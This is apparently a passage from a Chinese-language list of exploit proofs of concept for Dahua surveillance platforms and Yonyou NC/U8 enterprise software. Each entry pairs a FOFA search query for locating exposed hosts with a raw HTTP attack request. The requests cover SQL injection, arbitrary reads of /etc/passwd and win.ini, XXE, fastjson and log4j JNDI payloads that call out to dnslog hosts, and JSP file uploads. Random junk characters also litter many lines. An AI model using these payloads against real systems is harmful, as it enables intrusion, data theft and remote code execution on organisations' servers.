8 O2 L' E: p7 ~( N/ ]9 A3 O# {Content-Length: 345
# h# {# b4 b5 i$ n$ b. s( O) ~: lAccept-Encoding: gzip
5 O: b- U5 O/ q( X4 G8 G* Z. s) `
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
0 F4 D5 h% i+ i% D6 H0 \- b    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
6 |# a, v( J$ C! L, V( ?      <netMarkings>
2 t( j) L+ T+ c3 m0 L       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
# V* p2 r2 N9 e: K

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
3 {. o3 U) @. V/ iHost: your-ip
) J; \  k9 W: I6 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
! u0 ?' `3 I1 x6 p1 F, o: oConnection: keep-alive
; U9 v6 z/ v% F; x9 w7 Q
6 w" ~2 D  _  Z
$ r* U/ P3 }- W$ u
0 Q, f" F, Y/ B* e  S19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
3 {, `" ]5 g8 P/ J. [1 ?" \GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
9 \( d$ \2 z! O6 O' k7 f1 W. g# Q- XHost:
/ y- V. C6 t( z7 H9 t6 N2 fUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  X8 E; q4 V) w* TAccept-Encoding: gzip, deflate
Accept: */*
1 a5 B- N9 E7 H9 v& G7 XConnection: keep-alive


: v! `4 I. b3 [0 E20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
" ?5 C6 {2 I! fHost: x.x.x.x
9 B1 i9 u) P" @; D6 Z- U7 M, G1 v) tUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ ~6 `. F1 p" ]0 SConnection: close
+ N! z2 w& K; u9 \4 W# N2 X& ^Accept: */*
. [' q9 K- H" x2 ~6 U- F" o- m9 p# RAccept-Language: en
" H( c; u$ ~2 Q0 V" s$ TAccept-Encoding: gzip

) X, s& i) i0 w9 ~0 s# E" ?
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
4 T* g0 s: H' m# L* K  e' CPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
% `+ i. ~5 Z$ q7 M, wHost: x.x.x.x
3 A, b, A1 }1 X* a) J! MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
' V4 r3 G. z5 F1 v5 A* S) E1 E$ uConnection: close
Content-Type: application/json;charset=utf-8
9 C6 _# u+ f4 v, g2 b  M; P6 _% H
( o1 q5 C. m. i* y2 b2 @! V/ W( A{
  ~% |) b" R3 ^" u"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
, Q. R0 P/ A/ O9 v/ i/ I) L}
5 c9 J# O4 q' T2 W0 _" P

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& ~# x! j: O+ Z' n6 a) rFOFA：icon_hash="-1935899595"
8 T  W9 b  \9 hPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
- N. h0 ?0 A4 o& e6 ]( [4 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 s4 Z$ m4 M4 D/ X/ k; ^, a7 GContent-Type: application/json;charset=utf-8

6 m+ a9 M" e& ?' j1 L9 d{
"loginName":"${jndi:ldap://dnslog}"
}
/ v5 f* d0 m8 x- k
) h+ H; Q" m7 }
. f% K6 U! s! r6 V3 ^
2 d9 D5 k0 N3 f( O) M' T+ B23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
$ \* b/ A1 f7 X- XPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
( a  k' f! ?& J3 Y" P% t' ]Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 Q% Y7 K! j# r+ d! \* N# E+ FContent-Type: application/json;charset=utf-8
# f; Q4 L# M8 T. OAccept-Encoding: gzip
Connection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
9 L7 U: \9 B% A/ D        }""
. s3 h' G; e6 d& G6 B; }}
3 O( f' p2 [/ r" H3 P( r3 S- d- x
' R. N) S% k7 T1 n: Q, r
7 g; b6 J. Q# G: h0 v* I24. 用友NC 6.5 accept.jsp任意文件上传
$ ]5 n, ~" }' H/ U) ~2 U% g, M) Q. CFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
5 w, X6 L. [; A! [Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% u' H7 D6 J) B- C7 W9 Q1 |
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
7 N  ]( Y3 K% \, jContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
) B  |* z9 @# o1 X4 v( mContent-Type: text/plain
% j5 N: t& W7 z: I9 X3 v8 w
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
( W% }+ |( i: q& Y3 @  \-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
" y& `$ s) S( v% g9 t) bContent-Disposition: form-data; name="fname"
$ Q0 z) J( `# H) z' k. _; b
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
6 |2 N3 i; g0 p. V/ Z-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

, T! \' [' }6 c7 ]% q8 w
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
& j7 _+ a) V  d  \% NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
5 {7 t$ Q4 S' x" c+ MAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
' x+ f3 Y6 }. V7 }9 n7 t
+ l" f# d1 m  N4 {* T3 o) ctype=1&dsname=ldap://dnslog
0 d% z# i5 |' [/ l) O
8 N/ d7 S  y7 t$ B- b
9 K) Q" `' N5 T2 E1 C- l' r
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
  M; p* I) E/ R0 \Accept: */*
- `! w. p* V. s1 m0 SConnection: keep-alive


3 q6 d/ }+ Y$ I, I+ C0 h. ]27. 用友 NC showcontent SQL注入
" g# W& f+ U" Y, r$ LFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
/ ^- _0 l( U, C+ I: b% kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
  c5 v6 {2 |7 v9 \Content-Type: text/xml; charset=utf-8


7 e' C6 H3 f. R/ d28. 用友NC grouptemplet 任意文件上传
4 H* l6 J# }2 }9 z( e9 R; aFOFA：icon_hash="1085941792"
5 s1 X# x8 x; q' I; }POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
% T/ V8 u. o* d# {5 i. R1 Z% _, T9 C" BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
2 A$ H8 T% Y) q& x. j$ IContent-Length: 268
% R1 Z2 r! R1 R% H7 f9 n) ?% mContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
& V" ?% D8 @- z+ W) N. j9 F- }Accept-Encoding: gzip

+ ?( ]# z/ _' G; H& }! H# V------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
. b" s1 w2 t( H7 X. L3 DContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
2 v% f/ }& q9 N; }! I* C" s------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
9 r1 r3 S" z% T1 o/ u
; _# i( ]' f; d" d9 O+ V
/uapim/static/pages/nc/head.jsp

7 D$ O! L( g  H# _29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ ?& \; h1 w! Z* a& sAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
9 |/ M7 d. B9 G7 _& O, }; GPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
4 ^4 `/ W: f, z5 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
3 Z& k% V; o* s: `- j- ?Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


% o  j9 s* i$ H1 {31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& ]& t" o% L8 A0 G& k7 w5 OHost: host
: X0 |4 j$ |; Y+ eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

4 I. w$ U) P  Q8 l
6 N: C- t0 z- O. J2 K) T6 J32. 用友NC complainbilldetail SQL注入
2 v' V, g) f! M, O/ l: Vversion= NC633、NC65
1 \7 q! e9 [! K; f% _4 r  iFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 k* @( u  f0 T  D' qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  O0 q; a/ z' X6 r+ E/ u4 fAccept-Encoding: gzip, deflate
Accept: */*
0 q  q- @5 e1 l4 a) m7 E# i* D& ]Connection: keep-alive
7 N, {( B5 m+ o% Z  i

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" u. j5 l: e) G8 H# \1 PHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 V5 X' N, H6 N) I2 RContent-Type: application/x-www-form-urlencoded
; F: H  R! d3 q! l2 P7 p0 wAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
% |) H, Q8 |. K9 y

9 J( R0 Z) @8 d( g! T$ O7 B5 ?34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
" P+ B% ~$ o* d. b; eGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 T* x: Y: g5 [& P( P9 ~8 ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  O2 N# P; T% ^3 j; z6 zAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
! k. u( ~4 q# f5 U4 B

5 ~- m( C7 l2 t35. 用友NC-Cloud importhttpscer任意文件上传
0 V. m, o( t- A- O# RFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
9 f$ @! V* M* U. c: s9 I$ v$ q: k+ V" UAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
, _/ l/ L' m# e8 U# l# E( ^accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
3 Q  b5 {1 h' t2 p- S# N4 y" q
2 G& v+ a! e/ C) g' O8 e--fd28cb44e829ed1c197ec3bc71748df0
9 W' q0 N. R; S; n+ s, cContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
1 P! D6 ?# D' U9 o7 r9 w, y- \, K. ~* I--fd28cb44e829ed1c197ec3bc71748df0--
% ~& ^. V, Q. H( b9 o8 D
* b- R$ h8 i. O
36. 用友NC-Cloud soapFormat XXE
3 {6 \! r" j3 c) K' N7 RFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
3 Q% O) i- j3 x9 VHost: 192.168.40.130:8989
$ Z' `  D) H' d) zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
9 n+ x  y5 ]( K+ _1 j) @, \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ @; w  |, ~& D8 ]! E% sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
0 t) r5 h9 B0 P7 _2 o5 nContent-Type: application/x-www-form-urlencoded
5 y1 l7 ?0 r- B: B& x7 qUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

0 D1 B4 R* t  A3 b  ]* c
/ O/ k3 q+ G: V2 l8 G1 [37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
, C: g% Z& ?  N$ zHost: 192.168.40.130:8989
: Q. ~, {7 f3 J) W) f1 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
$ _# U  {6 W( B. Y9 d. CContent-Length: 421
. x9 A( B: K5 f7 {  c2 d0 K1 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" J  c/ J9 H0 S. h( {" bConnection: close
$ M7 O- p9 l+ jContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
8 R5 y5 ], k4 O, `0 }! E, |/ B( z
2 c* j6 i! i" V; x<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
0 ]) I- Y7 J6 A4 Z& }! f1 i4 |<iup:getResult>
7 D0 f3 L2 {/ m' ]<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
) V  e- t2 ?! r% @: ~3 `% B) I</iup:getResult>
: k( n5 U0 P" M& B# s9 S) v2 w+ A</soapenv:Body>
</soapenv:Envelope>
  |+ w3 P, U1 k8 X5 b

8 c2 y7 ^7 s9 H7 _
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
  z  c' O' [. z& |8 iPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
5 C: s0 ~) d- n! YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
9 P7 W+ P( f1 ^3 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
+ m) i& q+ @2 g* z' q! H% F" gAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
+ |5 F. P, k, C  g9 M( k4 B! e9 N* {

39. 用友U8 Cloud RegisterServlet SQL注入
$ O  r9 K2 U5 c* |5 z. k! w8 m, TFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
" y' ~- y2 i6 w+ J6 sHost: 192.168.86.128:8089
( }, _5 L  `+ f& t* k8 z& v: M7 z. hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
2 J! A. R3 b9 o3 I6 h7 t  f4 ?Content-Length: 85
Accept: */*
& O$ i, w; P5 c3 d& ]6 K% [" GAccept-Language: en
  F  j4 Y0 S# u5 mContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
, D# n7 O2 r7 U3 ?. x7 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
% S# e  q9 M& E; F" |6 G

, `5 b0 c" l3 r) I. O2 O3 x41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
: E- \8 \& R! m7 UFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
1 d8 F  m% s5 }3 d* PHost:
& V( t7 u( i) j6 D! uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
% }9 b4 G9 y* aAccept-Encoding: gzip
9 w, b2 N8 i7 w" k$ R4 GConnection: close
8 D! b7 G) t+ Y+ V& {

42. 用友GRP-U8 SmartUpload01 文件上传
% i* x0 N3 y/ {# P' KFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
' \( O" c. _& L; G) i7 }Host: x.x.x.x
2 s. O9 X- r4 h% rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
: K& z/ X4 S+ u6 B; tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

7 J* j5 H6 \6 `( t5 NPAYLOAD
! b! _4 O7 Z8 O  H
9 I9 w1 }0 U5 E0 r9 Y
5 ?- R/ K: G: a0 s" |: Ehttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
, o- c/ q3 B- q" \- K
. U& _6 D2 K7 ^) V' \! E5 S( ~6 X9 b43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
$ t& I( |  ^0 }4 ~3 O4 APOST /services/userInfoWeb HTTP/1.1
# V" k+ T2 ^; k1 C6 r1 f3 zHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ g) T# F6 m8 B4 K/ A- KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! e, C9 s  F3 @2 dSOAPAction:
Content-Type: text/xml;charset=UTF-8

. w6 m/ z7 c& `: o0 Z- x7 h* B<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
: b8 J0 w0 N/ \" C4 G9 V      </ser:getUserNameById>
9 Q* E9 i% |7 d7 k9 C   </soapenv:Body>
% e% a2 ~6 u: O, D2 ?2 k, b</soapenv:Envelope>
  W" ^/ J* |& x

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
' f* L6 I3 ^! O: q6 G& q3 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. \# _8 w% w* }' B/ J  D" t8 ~3 ~Connection: close

6 u5 u- O8 }9 r' E$ Z1 P' H9 @4 z
( N$ b/ ~8 q' ~! l, f45. 用友GRP-U8 ufgovbank XXE
& o$ c( A1 \, }0 IFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
* y6 H" K( F+ M/ mHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
. {0 `- N; r4 H" [( M7 y8 P' C' JConnection: close
9 @+ f) k- D% |, I/ m  F' G* K% FContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
! ~* `4 T# M4 O8 d1 C* u$ jAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
( Q5 S$ U! F/ l0 e' O$ R<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
5 p8 ]% @& B% M3 V  v2 s% Q. b; `
6 m' o. ?* z# r+ I" [2 B
6 _  [& Q3 t5 Z" R, K46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
% U( O/ p. I. ~1 }/ o  M, DGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
1 m) T" K) D9 \+ A. MHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
/ L+ S: [& V. `9 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 S" v1 O8 C; O" P1 P# ?# [1 QAccept-Language: zh-CN,zh;q=0.9
Connection: close


. z9 U3 i& R: \' @47. 用友GRP A++Cloud 政府财务云 任意文件读取
; U: y. }) c+ q! _! I8 X" f% _5 DFOFA：body="/pf/portal/login/css/fonts/style.css"
& m  T3 }* l% E) s( v- Z! aGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
5 d) C+ ?7 u* `; t" ]9 B& y" iHost: x.x.x.x
Cache-Control: max-age=0
* c* i1 @9 N( Q" RUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- e' `1 e; C/ m$ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
7 w: K4 ]" G8 ~! m, h! ]Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
8 A2 I1 C8 |$ f1 @7 p1 SConnection: close

' M, Q4 @, {7 T: O* [% K; X
/ x5 ^, |# J- K: I0 {
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
" H$ L1 B1 ?( p+ ^POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
+ c8 l; K/ }% }" z0 XHost: your-ip
' f* U1 k% k# n1 B2 t) _  DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 W, q" I1 {3 h+ Z  Q+ M6 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
